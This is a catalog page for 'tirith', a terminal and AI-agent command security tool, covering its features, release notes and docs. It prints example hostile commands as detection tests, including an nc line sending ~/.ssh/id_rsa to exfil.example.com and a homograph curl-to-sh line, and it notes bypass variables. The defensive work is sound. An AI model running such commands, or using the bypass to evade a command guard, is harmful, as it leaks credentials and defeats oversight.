PAGES
← all tools
◆ Code Security

tirith

v0.5.0 open-source

Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltrationdata exfiltrationMoving data out of a system or organization without authorization. It can happen through network transfers, removable media or other channels., and malicious AI skills/configs before they execute.

Summary

tirith is an open-source terminal security cyber tool that intercepts and analyzes shell commands and pasted text in real-time, detecting threats like homograph attacks and pipe-to-shell patterns before they execute. It is free under the AGPL-3.0 license and runs as a command-line tool that requires initial shell hook setup. This tool is for platform engineers and developers concerned with supply-chain security; its documentation positions it alongside tools that audit build scripts and analyze package provenanceprovenanceEvidence recording where a software artifact came from and how it was built, including its source and build process. It helps a consumer check that the artifact matches a trusted build.. The project has seen three releases in the monitored timeframe, with the last update occurring twelve days ago.

Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.

How tirith helps

Which commands and pasted text attempt to exfiltrate credentials?

intercepts and analyzes commands and pasted text in real-time, detecting credential exfiltration patterns.

Which network hostnames are visually misleading?

analyzes hostnames character-by-character, detecting non-ASCII characters, mixed-script usage, punycode encoding, and confusable Unicode characters.

What unknown or malicious code is attempting to run?

analyzes commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, and malicious patterns before they execute.

What suspicious activity is occurring when using AI agents?

includes an MCP server with tools that AI coding agents can call to check commands, URLs, and files for security threats before they execute.

Which software package has questionable provenance or integrity?

analyzes installed environments and packages using commands to expose ownership, execution, release-delta, and integrity information.

What are potential execution risks from unverified project sources?

executes an untrusted open-source project's build script within a contained environment, producing a signed receipt.

all 36 features, with the evidence for each →

Languages

Not documented

Features

36 capabilities across 3 capability groups · 4 backed by code, an API document or a real run

Built from tirith's releases, docs, README and our own runs. “Seen” marks the month we first spotted a release the vendor didn't date. Group names and tags are our labels.

Compare with peers →

  • tirith covers 1 of the 8 vulnerability assessment methods capabilities we track.

What tirith offers you

  • Command-line interface15
  • CI/CD pipeline integration2
  • REST API2
  • MCP server1
  • Outbound webhooks (the product notifies you)1
  • SAML SSO1
  • Single sign-on1
  • User-defined detection rules1
Static application security testing 2 features Vulnerability assessment methods since 2026
Language Server Protocol integration documented Runs a stdio LSP server that flags homograph URLs, hidden instructions in AI configs, and risky patterns inline as files are opened or edited in any LSP-compatible editor. 14 other sources

Shared capability: Static application security testing

docs 14 total

  • Tirith ships a Language Server so your editor flags homograph URLs, hidden instructions in AI configs, and risky patterns inline, as you open and edit files, before anything runs. The tirith lsp server # tirith lsp speaks the Language Server Protocol over stdio. On every didOpen didChange seen Oct 2026 · source
  • : /repo/.tirith/policy.yaml, " hook_active " : true } Editor setup # Any editor that speaks LSP can launch tirith lsp as a stdio server for the file types above. To also wire up shell-hook and MCP protection for an editor's integrated terminal and AI agent, use the one-command setup: shell $ seen Oct 2026 · source
  • range; everything else is published as a whole-document diagnostic. That's documented v1 behavior. The engine reports findings, not always positions. File-type profiles # The server picks a profile from the file's path and name. AI-config files are analyzed in both seen Oct 2026 · source
  • Inline diagnostics via the tirith LSP server, per-file-type profiles, and doctor --quick status polling. Reference Configuration Policy cookbook, YAML schema, bypass mechanism, data handling, and design principles. Policy Reference seen Oct 2026 · source
  • : /repo/.tirith/policy.yaml, " hook_active " : true } Editor setup # Any editor that speaks LSP can launch tirith lsp as a stdio server for the file types above. To also wire up shell-hook and MCP protection for an editor's integrated terminal and AI agent, use the one-command setup: shell $ seen Oct 2026 · source
  • tirith setup vscode # VS Code $ tirith setup cursor # Cursor $ tirith setup windsurf # Windsurf The dedicated VS Code extension ships from a separate tirith-vscode repo on its own release cadence; this page documents the editor-agnostic language server it builds on. v1 limitations # .log seen Oct 2026 · source
Sensitive data detection shipped Detects sensitive environment variables and network destinations in code and command input. 2 releases · 1 other source · first seen Feb 2026

Shared capability: Static application security testing

release

  • Detect curl -d @/dev/stdin, -T /dev/stdin and wget --post-file=/dev/stdin as reading standard input, so secret files piped into them also count as data_exfiltration. v0.5.0 · Nov 2026 · source · release history
  • environment variable and network destination detection capabilities v0.2.0 · Feb 2026 · source · release history

example

  • Detect sensitive environment variables and network destinations in code. tirith scan --detect-env --detect-network ./src v0.2.0 · Feb 2026 · source
MCP server 1 feature Interfaces and integrations since 2026
MCP server configuration locking verified Locks MCP server configurations by binding source path, server identity, transport, descriptor set, declared tools, and code/config drift, and requires an explicit re-lock when schema migrations apply. 2 releases · 3 other sources · first seen Aug 2026

Shared capability: MCP server

release

  • Existing MCP privacy lockfiles require an explicit re-lock when the documented schema migration says so; generated wrappers must be regenerated via tirith setup <tool> --update-configs so they contain the current validated absolute interpreter and Tirith paths. v0.4.0 · Aug 2026 · source · release history
  • Adds MCP configuration locking that binds source path, server identity, transport, descriptor set, declared tools, and code/config drift without persisting raw environment values or URL credentials. v0.4.0 · Aug 2026 · source · release history

docs

  • Insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access. DRIFT AI Config Drift Detection # Beyond one-shot scanning, tirith ai seen Oct 2026 · source
  • MCP server with 7 tools, config file scanning, hidden content detection, and cloaking detection. MCP Integration Per-tool setup guides for Claude Code, Codex, Cursor, VS Code, and Windsurf. CI Integration Run tirith in GitHub Actions, GitLab CI, and other pipelines with SARIF output. IDE & Editors seen Oct 2026 · source

command line

REST API 1 feature Interfaces and integrations
REST API for enterprise management documented Provides authenticated REST API endpoints for license management, policy distribution, and audit log collection to support team and enterprise deployments. 20 other sources

Shared capability: REST API

Also counts toward: REST API

docs 20 total

  • REST API endpoints for license management, policy distribution, and audit collection. Endpoints # Method Path Description GET /api/license Get or issue license POST /api/license/refresh Force-refresh license GET /api/policy List policies POST /api/policy Create policy GET /api/policy/:id Get policy by ID PUT seen Oct 2026 · source
  • API requests are authenticated with Bearer tokens. Web dashboard uses session cookies. CLI uses API keys with the Authorization: Bearer tirith_... header. shell # Bearer token authentication $ curl -H "Authorization: Bearer tirith_sk_..." \ https://api.tirith.sh/api/license License # GET /api/license seen Oct 2026 · source
  • -H "Authorization: Bearer tirith_sk_..." \ https://api.tirith.sh/api/policy/pol_a1b2c3 response.json { " id " : pol_a1b2c3, " name " : default-security, " version " : " active " : true, " yaml " : "rules:\n - id: no-exec\n pattern: exec\n severity: critical\n - id: no-eval\n pattern: eval\n severity: high", " seen Oct 2026 · source
  • Get or issue a license key for the authenticated user's org. Auth: Session / API Key Returns the signed license token and expiry. Creates a new one if none exists or the current one is expired. response.json { " token " : "eyJhbGciOiJFZDI1NTE5...", " expires_at " : 2026-03-21T00:00:00Z, " tier " : pro, " org_id " : seen Oct 2026 · source
  • -H "Authorization: Bearer tirith_sk_..." \ -H Content-Type: application/json \ -d '{ " name " : "ci-pipeline-policy", " yaml " : "rules:\n - id: no-exec\n pattern: exec\n severity: critical" }' \ https://api.tirith.sh/api/policy response.json { " id " : pol_d4e5f6, " name " : ci-pipeline-policy, " version " : " seen Oct 2026 · source
  • REST API endpoints for license management, policy distribution, and audit collection. Endpoints # Method Path Description GET /api/license Get or issue license POST /api/license/refresh Force-refresh license GET /api/policy List policies POST /api/policy Create policy GET /api/policy/:id Get policy by ID PUT seen Oct 2026 · source
Other / not yet classified 32 features Features we have not matched to a capability yet. A suggested match is marked.
Policy authoring and management shipped Lets users initialize, author, validate, and distribute YAML policy files — including templates, severity overrides, allowlists, blocklists, custom detection rules, and centralized team policies — to control how the tool responds to detected threats. 2 releases · 45 other sources · first seen Nov 2026

Also counts toward: Command-line interface, User-defined detection rules, REST API, Single sign-on, SAML SSO, Outbound webhooks (the product notifies you)

release

  • tirith trust add now requires --rule RULE or --all-rules and writes grants to trust-grants.json; run tirith trust migrate to move existing trust.json entries into the new file. v0.5.0 · Nov 2026 · source · release history
  • tirith trust add now requires --rule RULE or --all-rules; migrated trust.json entries written to trust-grants.json stop applying if you downgrade to 0.4.x. v0.5.0 · Nov 2026 · source · release history

docs 44 total

  • for a curated, well-commented preset; with no template it writes the full default policy. shell $ tirith policy init # full default policy $ tirith policy init --template startup # curated preset $ tirith onboard # detect env, recommend a template Template For individual Solo developer defaults (alias: personal) seen Oct 2026 · source
  • YAML policy schema, allowlists, blocklists, severity overrides, and centralized policies. Tiers & Features Compare Community and Team/Enterprise capabilities. API Reference REST API for license validation, policy fetch, audit ingestion, and key management. Help Troubleshooting seen Oct 2026 · source
  • API key for Team+ features (policy fetch, audit upload) TIRITH_BYPASS Set to 1 to skip blocking (if policy allows) TIRITH_LOG Set to 0 to disable audit logging seen Oct 2026 · source
  • For teams and organizations with advanced compliance and deployment needs. Everything in Community, plus MITRE ATT&CK technique mapping, remote policy distribution, remote audit log collection, custom DLP redaction patterns, custom detection rules, webhooks (Slack, Teams, PagerDuty), SSO/SAML (Okta, Azure AD),… seen Oct 2026 · source
  • This lets you escalate or de-escalate specific rules per your organization's risk tolerance. allow_bypass_env When true , users can set TIRITH_BYPASS=1 to skip blocking. Default: false . Useful for CI environments where a human has reviewed the command. Custom Rules & the when: DSL seen Oct 2026 · source
  • for a curated, well-commented preset; with no template it writes the full default policy. shell $ tirith policy init # full default policy $ tirith policy init --template startup # curated preset $ tirith onboard # detect env, recommend a template Template For individual Solo developer defaults (alias: personal) seen Oct 2026 · source

example

  • Migrate existing trust entries to the new grant file so they continue to apply after upgrading. tirith trust migrate v0.5.0 · Nov 2026 · source
File and content malicious pattern detection shipped Detects malicious patterns in files and shell input including reverse-shell shapes, credential patterns, hidden instructions, wallet exfiltration, and staged encryption, classifying files by magic bytes rather than name or suffix. 6 releases · 37 other sources · first seen Aug 2026

release

  • tirith check rejects unknown options before the command separator and exits 2; 0.4.2 analyzed an unknown flag as the first command word. v0.5.0 · Nov 2026 · source · release history
  • IaC auto-approve detection now checks every command on a line, so cd infra; terraform apply -auto-approve now warns (iac_apply_auto_approve, exit 2) and cd infra; terraform apply now blocks when iac_require_plan_before_apply: true. v0.5.0 · Nov 2026 · source · release history
  • Detect versioned interpreter names — python3.12, pypy3, perl5.34, php8.2, ruby3.3, nodejs and others — as pipe sinks and inline program targets, closing a gap where curl … | python3.12 previously passed. v0.5.0 · Nov 2026 · source · release history
  • ci_detection_expansion: Adds detection coverage for reverse-shell shapes, suspicious inline-interpreter commands, OpenAI/HuggingFace/PyPI/PGP credential patterns, hidden PDF instructions, terminal output controls, deceptive Unicode, prompt injection, and wallet/sensitive-asset exfiltration. v0.4.0 · Aug 2026 · source · release history
  • Expands detections to include reverse-shell and suspicious inline-interpreter command shapes, OpenAI/Hugging Face/PyPI/PGP credential patterns, hidden PDF instructions, wallet and sensitive-asset exfiltration through promoted operands (xargs, find -exec, parallel), compressors, encoders, and staged encryption… v0.4.0 · Aug 2026 · source · release history
  • Adds byte-classified file analysis that classifies files by magic bytes read through a retained no-follow handle rather than by name or suffix, with explicit routing for misnamed, extensionless, malformed, polyglot, archive, native, and unknown binary content. v0.4.0 · Aug 2026 · source · release history

docs 36 total

  • categories. All rules run at every tier, with no features gated behind paid plans. Every Rule ID below is a stable identifier from the engine. Use it verbatim in policy severity_overrides allowlist_rules , or tirith explain --rule <id> Supply Chain & Ecosystem Command Execution Contextual Safety Config Security seen Oct 2026 · source
  • The URL contains an Ethereum address pattern (0x followed by 40 hex characters). vet_not_configured LOW A cargo install or cargo add command runs without a supply-chain/config.toml present in the current directory. The cargo-vet tool provides supply-chain auditing for Rust dependencies. repo_add_from_pipe HIGH seen Oct 2026 · source
  • range; everything else is published as a whole-document diagnostic. That's documented v1 behavior. The engine reports findings, not always positions. File-type profiles # The server picks a profile from the file's path and name. AI-config files are analyzed in both seen Oct 2026 · source
  • Allow TIRITH=0 bypass. Default: true. Set false for strict environments. Cookbook Recipes # Strict Organization (Fail Closed, No Bypass) All findings block execution. No bypass mechanism. Shortened URLs and plain HTTP escalated. .tirith/policy.yaml # .tirith/policy.yaml (repo root) fail_mode : closed allow_bypass_env seen Oct 2026 · source
  • for a curated, well-commented preset; with no template it writes the full default policy. shell $ tirith policy init # full default policy $ tirith policy init --template startup # curated preset $ tirith onboard # detect env, recommend a template Template For individual Solo developer defaults (alias: personal) seen Oct 2026 · source
  • the file-scan and paste contexts, and the findings are unioned, so a CLAUDE.md with a suspicious URL still produces a diagnostic. Profile Matches What it analyzes AiConfig CLAUDE.md, .cursorrules, agent/skill defs, mcp.json Hidden instructions, invisible Unicode + URL / transport / hostname checks MarkdownInstallDoc seen Oct 2026 · source

example

  • Scan file for obfuscated payloads tirith scan evil_skill.py
AI agent host integration shipped Intercepts and mediates commands issued by AI agent hosts — covering 19 named hosts including Cline, Prime Agent, OMP, OpenHands, and others — using blocking pre-execution hooks and platform-appropriate wrappers on POSIX and Windows. 7 releases · 25 other sources · first seen Aug 2026

Also counts toward: Command-line interface, MCP server

release 7 total

  • tirith setup <host> --scope <scope> --force rewrites installed agent adapters to enforce the new approval requirement, leaving .tirith-backup-v2-* recovery copies alongside the rewritten files. v0.5.0 · Nov 2026 · source · release history
  • A command Tirith warns about no longer auto-approves in Claude Code and VS Code — it goes through their normal permission prompt instead. v0.5.0 · Nov 2026 · source · release history
  • Adds a boolean requires_approval field to tirith check JSON output (schema 3 and 4), with every agent adapter now denying a command marked requires_approval: true instead of just warning; adds TIRITH_HOOK_WARN_ACTION, settable to allow, ask or deny, to control warned commands in agent hooks, where ask… v0.5.0 · Nov 2026 · source · release history
  • Agent adapters installed by 0.4.x do not enforce the new approval requirement; re-run tirith setup <host> --scope <scope> --force for every agent host and project after upgrading. v0.5.0 · Nov 2026 · source · release history
  • Reduce agent false positives: if/while bracket conditions over substitutions, POSIX variable-named commands, python3 -c data pipelines, here-strings into jq, xargs -I{}, { …; } groups, common eval "$(…)" shell-setup lines, function bodies with ${…} expansions, large heredoc writes, curl to… v0.5.0 · Nov 2026 · source · release history
  • Adds blocking pre-execution hooks for Prime Agent, OMP, Cline, and OpenHands where the host exposes one; Cline receives the platform-native PreToolUse wrapper on POSIX and PreToolUse.ps1 on Windows. v0.4.0 · Aug 2026 · source · release history

docs 24 total

  • Automatically intercepts every Bash tool call before execution. Primary protection layer. MCP server (optional) — Provides tirith_check_command, tirith_check_url, etc. as tools Claude can call on demand. Quick Setup (Recommended) # Project scope (default) : shell $ tirith setup claude-code With MCP server : shell $ seen Oct 2026 · source
  • MCP server with 7 tools, config file scanning, hidden content detection, and cloaking detection. MCP Integration Per-tool setup guides for Claude Code, Codex, Cursor, VS Code, and Windsurf. CI Integration Run tirith in GitHub Actions, GitLab CI, and other pipelines with SARIF output. IDE & Editors seen Oct 2026 · source
  • tirith setup claude-code --with-mcp Global (all projects) : shell $ tirith setup claude-code --scope user Preview changes : shell $ tirith setup claude-code --dry-run Manual MCP Configuration # If you prefer manual setup, add this to .mcp.json : .mcp.json { " mcpServers " : { " tirith " : { " command " : tirith, " seen Oct 2026 · source
  • Per-tool setup guides for integrating tirith with AI coding tools. Each tool has automatic protection via one command. Tirith + Claude Code # Claude Code has two independent protection layers: a PreToolUse hook that automatically intercepts every Bash tool call, and an optional MCP server for on-demand tools. seen Oct 2026 · source
  • protection_mode: enforce, policy_path_used: /repo/.tirith/policy.yaml, hook_active: true seen Oct 2026 · source
  • --config ~/.config/tirith/gateway.yaml,manualMcpFile:"shell",envVars:[],notes:"After setup, run scripts/codex-upgrade-smoke.sh to verify coverage. seen Oct 2026 · source

example

  • Refresh a Claude Code agent adapter after upgrading to enforce the new approval requirement, scoped to your user account. tirith setup claude-code --scope user --force v0.5.0 · Nov 2026 · source
Terminal shell interception shipped Intercepts shell commands, pasted content, and files to detect homograph attacks, obfuscated payloads, credential exfiltration, and malicious patterns at the terminal. 2 releases · 28 other sources · first seen Nov 2026

Also counts toward: Command-line interface

release

  • Commands containing ESC sequences or bare carriage returns are now blocked as ansi_escapes / control_chars; integrations that pass ANSI colour codes inside commands must strip them first. v0.5.0 · Nov 2026 · source · release history
  • tirith check --json now prints a normal verdict (action: "allow", bypass_honored: true, requires_approval: false, exit 0) for an honored TIRITH=0 bypass instead of no output. v0.5.0 · Nov 2026 · source · release history

docs 26 total

  • Shell Integrations (Optional) > Oh-My-Zsh shell $ git clone https://github.com/sheeki03/ohmyzsh-tirith \ $ ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith # Add tirith to plugins in ~/.zshrc: # plugins=(... tirith) > Nix / Home-Manager Tirith must be in your $PATH . The shell hooks call tirith by name at runtime. seen Oct 2026 · source
  • Breaks down a URL's trust signals — TLS, domain age heuristics, known shorteners, Unicode analysis. shell $ tirith score https://bit.ly/something $ tirith score https://example.com --explain # factor-by-factor derivation tirith diff <url> Byte-level comparison showing exactly where suspicious characters are hiding. seen Oct 2026 · source
  • Terminal Security for the Modern Stack Your browser would catch this. Your terminal won't. Tirith intercepts commands and pastes in your terminal, detecting homograph attacks, pipe-to-shell patterns, ANSI injection, credential leaks, data exfiltration, and 200+ other threats. glyph-inspector $ seen Oct 2026 · source
  • Test detection by scanning a suspicious command: shell $ tirith check -- curl http://exаmple.com | sh The domain above contains a Cyrillic a (U+0430). Tirith detects this as a homograph attack Normal commands are invisible, with zero output and zero latency: shell $ git status $ ls -la $ docker compose up -d seen Oct 2026 · source
  • eval "$(tirith init --shell zsh)" > bash (~/.bashrc) shell $ eval "$(tirith init --shell bash)" > fish (~/.config/fish/config.fish) shell $ tirith init --shell fish | source Shell Hook Type Tested On zsh preexec + paste widget 5.8+ bash preexec (two modes) 5.0+ fish fish_preexec event 3.5+ PowerShell PSReadLine handler seen Oct 2026 · source
  • Analyze shell commands for pipe-to-shell, homograph URLs, env injection, and more. tirith_check_url Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs. tirith_check_paste Check pasted content for ANSI escapes, bidi controls, zero-width characters. tirith_scan_file seen Oct 2026 · source

example

  • Check whether a command would be flagged as data exfiltration before running it — useful in CI or agent pre-flight. tirith check -- nc exfil.example.com 9000 < ~/.ssh/id_rsa v0.5.0 · Nov 2026 · source
  • Scan a file for malicious patterns tirith scan evil_skill.py
Shell hook installation and platform integration shipped Installs shell hooks for Bash, Zsh, Fish, and PowerShell — and optional integrations for Oh-My-Zsh and Nix/Home-Manager — so that every command typed or pasted in a terminal is intercepted before execution. 4 releases · 13 other sources · first seen Aug 2026

Also counts toward: Command-line interface

release

  • An unrecognized TIRITH_HOOK_WARN_ACTION value now denies warned commands; the only valid values are allow, ask and deny. v0.5.0 · Nov 2026 · source · release history
  • Warn instead of block on plain LAN health checks such as curl http://192.168.1.20:8080/health. v0.5.0 · Nov 2026 · source · release history
  • Re-run tirith setup <host> --scope <scope> --force --install-zshenv to update the ~/.zshenv guard; --force alone and tirith doctor --fix leave the 0.4.x guard in place. v0.5.0 · Nov 2026 · source · release history
  • agent_hooks_update: Adds blocking pre-execution hooks for Prime Agent, OMP, Cline, and OpenHands (where supported); updates tirith setup to support 19 named hosts total. v0.4.0 · Aug 2026 · source · release history

docs 13 total

  • Shell Integrations (Optional) > Oh-My-Zsh shell $ git clone https://github.com/sheeki03/ohmyzsh-tirith \ $ ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith # Add tirith to plugins in ~/.zshrc: # plugins=(... tirith) > Nix / Home-Manager Tirith must be in your $PATH . The shell hooks call tirith by name at runtime. seen Oct 2026 · source
  • Install tirith and protect your terminal in under 2 minutes. Install Choose your platform and preferred installation method: > Homebrew shell $ brew install sheeki03/tap/tirith Activate Shell Hooks Add to your shell profile to activate tirith. Every command you run is now guarded. > zsh (~/.zshrc) shell $ seen Oct 2026 · source
  • eval "$(tirith init --shell zsh)" > bash (~/.bashrc) shell $ eval "$(tirith init --shell bash)" > fish (~/.config/fish/config.fish) shell $ tirith init --shell fish | source Shell Hook Type Tested On zsh preexec + paste widget 5.8+ bash preexec (two modes) 5.0+ fish fish_preexec event 3.5+ PowerShell PSReadLine handler seen Oct 2026 · source
  • Tirith auto-defaults to preexec mode when SSH_CONNECTION, SSH_TTY, or SSH_CLIENT is set. If you still see input issues: shell $ export TIRITH_BASH_MODE=preexec $ eval "$(tirith init --shell bash)" PowerShell: PSReadLine conflicts seen Oct 2026 · source
  • Clean removal of tirith: shell hooks, binary, and data. Remove Shell Hook Remove the tirith init hook line from your shell configuration: Shell Config File zsh ~/.zshrc bash ~/.bashrc fish ~/.config/fish/config.fish PowerShell $PROFILE Remove Binary Homebrew shell $ brew uninstall tirith npm shell $ seen Oct 2026 · source
  • Clean removal of tirith: shell hooks, binary, and data. Remove Shell Hook Remove the tirith init hook line from your shell configuration: Shell Config File zsh ~/.zshrc bash ~/.bashrc fish ~/.config/fish/config.fish PowerShell $PROFILE Remove Binary Homebrew shell $ brew uninstall tirith npm shell $ seen Oct 2026 · source
Package approval and install workflow verified Binds resolution, exact artifact hashes, inspection results, approval state, contained execution, environment verification, and a tamper-evident receipt into a single gated install workflow. 8 releases · 2 other sources · first seen Feb 2026

Also counts toward: Command-line interface

release 8 total

  • The tirith-core library API removes the pip resolve, quarantine, firewall and approval pipeline and several receipt writers; AnalysisContext, Policy and output::JsonOutput gained fields. v0.5.0 · Nov 2026 · source · release history
  • tirith pkg install and tirith pkg approve now refuse on every host; use tirith install --no-exec to analyze an install instead. v0.5.0 · Nov 2026 · source · release history
  • Adds tirith pkg graph, diff, attest, attest-npm, verify-env, and receipt subcommands exposing ownership, execution, release-delta, provenance, integrity, and evidence workflows. v0.4.0 · Aug 2026 · source · release history
  • Adds tirith pkg approve and tirith pkg install to bind resolution, exact artifact hashes, inspection results, approval state, contained execution, environment verification, and a tamper-evident receipt. v0.4.0 · Aug 2026 · source · release history
  • Adds RPM distribution channel for package installation. v0.1.3 · Feb 2026 · source · release history
  • Adds Docker distribution channel via container images. v0.1.3 · Feb 2026 · source · release history

command line

CI/CD and GitHub Actions security scanning shipped suggested Scans GitHub Actions workflows for mutable action references, privileged trigger hazards, and expression-to-shell injection, and correlates fork-reachable artifact producers with privileged workflow_run consumers and deployment sinks. 2 releases · 8 other sources · first seen Aug 2026

Suggested capability: Infrastructure-as-code security scanning. This is our guess, not confirmed.

Also counts toward: CI/CD pipeline integration

release

  • Adds CI-focused directory scans that correlate fork-reachable artifact producers with privileged workflow_run consumers and execution, PATH, publish, or deployment sinks. v0.4.0 · Aug 2026 · source · release history
  • Adds structural GitHub Actions rules covering mutable action references, privileged trigger hazards, and expression-to-shell injection. v0.4.0 · Aug 2026 · source · release history

docs 8 total

  • Run tirith in your CI/CD pipeline to catch threats before they reach production. GitHub Actions Use tirith with SARIF output to see findings directly in the GitHub Security tab: .github/workflows/tirith.yml name : Security Scan on : [push, pull_request] jobs : tirith-scan : runs-on : ubuntu-latest steps : - seen Oct 2026 · source
  • uses: actions/checkout@v4 - name: Install tirith run : cargo install tirith - name: Scan repository run : tirith score --format sarif > results.sarif - name: Upload SARIF if : always() uses : github/codeql-action/upload-sarif@v3 with : sarif_file : results.sarif GitLab CI seen Oct 2026 · source
  • # Exit code 0 = no blocking findings # Exit code 1 = blocking findings detected Output Formats Flag Format Use Case --format text Human-readable Local development, logs --format json JSON GitLab CI, custom tooling --format sarif SARIF 2.1.0 GitHub Security, VS Code Environment Variables Variable Description seen Oct 2026 · source
  • uses: actions/checkout@v4 - name: Install tirith run : cargo install tirith - name: Scan repository run : tirith score --format sarif > results.sarif - name: Upload SARIF if : always() uses : github/codeql-action/upload-sarif@v3 with : sarif_file : results.sarif GitLab CI seen Oct 2026 · source
  • Export results as JSON for GitLab code quality integration: .gitlab-ci.yml tirith-scan : image : rust:latest stage : test script : - cargo install tirith - tirith score --format json artifacts : reports : codequality : tirith-report.json Generic CI For any CI system, use the exit code to gate deployments: shell seen Oct 2026 · source
  • Export results as JSON for GitLab code quality integration: .gitlab-ci.yml tirith-scan : image : rust:latest stage : test script : - cargo install tirith - tirith score --format json artifacts : reports : codequality : tirith-report.json Generic CI For any CI system, use the exit code to gate deployments: shell seen Oct 2026 · source
Threat database lookup and update verified Lets users query indicators against the threat database and download and verify signed threat DB updates. 1 release · 6 other sources · first seen Sep 2026

release

  • Adds THREATDB_PIN_PR_TOKEN repository secret for the ThreatDB watcher pipeline to push branches and open pull requests for source pin updates v0.4.1 · Sep 2026 · source · release history

docs

  • Extensions poll a fast, read-only status mode (~30s) to show whether protection is live. It returns only four fields, skipping the expensive audit-log / threat-db / baseline probes. shell $ tirith doctor --quick tirith doctor --quick { " schema_version " : 1, " protection_mode " : enforce, " policy_path_used " seen Oct 2026 · source

command line

example

  • Download and verify signed threat database tirith threat-db update
  • Look up indicator in threat database tirith threat-db explain react
  • Download and verify signed threat DB tirith threat-db update
  • Show what threat DB knows about indicator tirith threat-db explain react
URL trust scoring and comparison documented Scores URLs factor-by-factor for trust signals including TLS, domain age heuristics, known shorteners, Unicode anomalies, and Web3 RPC patterns, and performs byte-level diffing to surface suspicious characters. 7 other sources

Also counts toward: Command-line interface

docs 7 total

  • Breaks down a URL's trust signals — TLS, domain age heuristics, known shorteners, Unicode analysis. shell $ tirith score https://bit.ly/something $ tirith score https://example.com --explain # factor-by-factor derivation tirith diff <url> Byte-level comparison showing exactly where suspicious characters are hiding. seen Oct 2026 · source
  • An npm install command references a URL that does not point to registry.npmjs.org. web3_rpc_endpoint LOW The URL matches a known Web3 JSON-RPC provider (Infura, Alchemy, Moralis, QuickNode, etc.) with RPC path patterns. web3_address_in_url LOW seen Oct 2026 · source
  • tirith diff https://exаmple.com shell Position 3: expected 0x61 (Latin a) | got 0xd0 0xb0 (Cyrillic а) tirith why Explains the last rule that triggered — what it detected, why it matters, and what to do about it. shell $ tirith why tirith explain --rule <id> seen Oct 2026 · source
  • domain but resolves to a completely different server. Bypass: prefix your command with TIRITH=0 (applies to that command only) Supports --json, --non-interactive, --shell, and --suggest-safe-command (adds a concrete safer rewrite). tirith paste seen Oct 2026 · source
  • Breaks down a URL's trust signals — TLS, domain age heuristics, known shorteners, Unicode analysis. shell $ tirith score https://bit.ly/something $ tirith score https://example.com --explain # factor-by-factor derivation tirith diff <url> Byte-level comparison showing exactly where suspicious characters are hiding. seen Oct 2026 · source
  • An npm install command references a URL that does not point to registry.npmjs.org. web3_rpc_endpoint LOW The URL matches a known Web3 JSON-RPC provider (Infura, Alchemy, Moralis, QuickNode, etc.) with RPC path patterns. web3_address_in_url LOW seen Oct 2026 · source
Finding and output budget management verified Enforces global finding and output budgets that preserve Critical, High, and analysis_incomplete evidence ahead of lower-value output. 2 releases · 3 other sources · first seen Aug 2026

Also counts toward: Command-line interface

release

  • The package_lookup_incomplete finding replaces analysis_incomplete for live OSV.dev and deps.dev lookups that could not finish; policies that handle pip install or npm install warnings by adjusting analysis_incomplete must be updated to name package_lookup_incomplete. v0.5.0 · Nov 2026 · source · release history
  • Adds global finding and output budgets that preserve Critical, High, and analysis_incomplete evidence ahead of lower-value output. v0.4.0 · Aug 2026 · source · release history

docs

  • Run tirith in your CI/CD pipeline to catch threats before they reach production. GitHub Actions Use tirith with SARIF output to see findings directly in the GitHub Security tab: .github/workflows/tirith.yml name : Security Scan on : [push, pull_request] jobs : tirith-scan : runs-on : ubuntu-latest steps : - seen Oct 2026 · source

command line

Diagnostic health check documented Runs a doctor command that verifies the tool is installed correctly, checks protection mode and policy path, and supports a fast read-only status poll used by editor extensions and shell integrations. 5 other sources

Also counts toward: Command-line interface

docs

  • eval "$(tirith init --shell zsh)" ''; Verify Open a new terminal and run the doctor command to verify everything is working: shell $ tirith doctor Tailor a policy in one step Run tirith onboard seen Oct 2026 · source
  • Extensions poll a fast, read-only status mode (~30s) to show whether protection is live. It returns only four fields, skipping the expensive audit-log / threat-db / baseline probes. shell $ tirith doctor --quick tirith doctor --quick { " schema_version " : 1, " protection_mode " : enforce, " policy_path_used " seen Oct 2026 · source
  • Extensions poll a fast, read-only status mode (~30s) to show whether protection is live. It returns only four fields, skipping the expensive audit-log / threat-db / baseline probes. shell $ tirith doctor --quick tirith doctor --quick { " schema_version " : 1, " protection_mode " : enforce, " policy_path_used " seen Oct 2026 · source
  • Common issues and solutions. When in doubt, run tirith doctor for diagnostics. Shell hooks not loading Run tirith doctor to see the hook directory and whether hooks were materialized from the embedded binary. If hooks are not found: Ensure tirith is in your PATH Run eval $(tirith init) and check for errors Set seen Oct 2026 · source
  • to point to your hooks directory explicitly Brew upgrade applied but behavior didn't change If brew reports a newer version but tirith --version is older: shell $ which -a tirith $ brew info tirith $ hash -r Then refresh materialized hooks and restart shell: shell $ rm -rf ~/.local/share/tirith/shell $ seen Oct 2026 · source
Fail-closed capsule execution shipped Runs untrusted project build scripts inside a fail-closed OS capsule on x86_64 Linux using Landlock, producing a signed receipt, and refuses to run on unsupported platforms before any copy or spawn occurs. 2 releases · 2 other sources · first seen Aug 2026

Also counts toward: Command-line interface

release

  • untrusted_task_enforcement: Adds tirith capsule run --preset untrusted-project to copy a project into a held ephemeral tree and execute argv under fail-closed containment (x86_64 Linux with Landlock ABI required). v0.4.0 · Aug 2026 · source · release history
  • Adds tirith capsule run --preset untrusted-project to copy an untrusted project into a held ephemeral directory and execute an exact argv under fail-closed containment on x86_64 Linux with a usable Landlock ABI; all other platforms refuse before copy or spawn. v0.4.0 · Aug 2026 · source · release history

docs

  • Safe replacement for curl | bash. Downloads to a temp file, shows SHA256, runs static analysis, opens in a pager for review, and executes only after you confirm. Creates a receipt for later verification. shell $ tirith run https://get.docker.com tirith receipt {last,list,verify} seen Oct 2026 · source

example

  • Run an untrusted open-source project's build script in a fail-closed OS capsule on x86_64 Linux, producing a signed receipt, without risking your host. tirith capsule run --preset untrusted-project --project ./untrusted-repo -- python build.py v0.4.0 · Aug 2026 · source
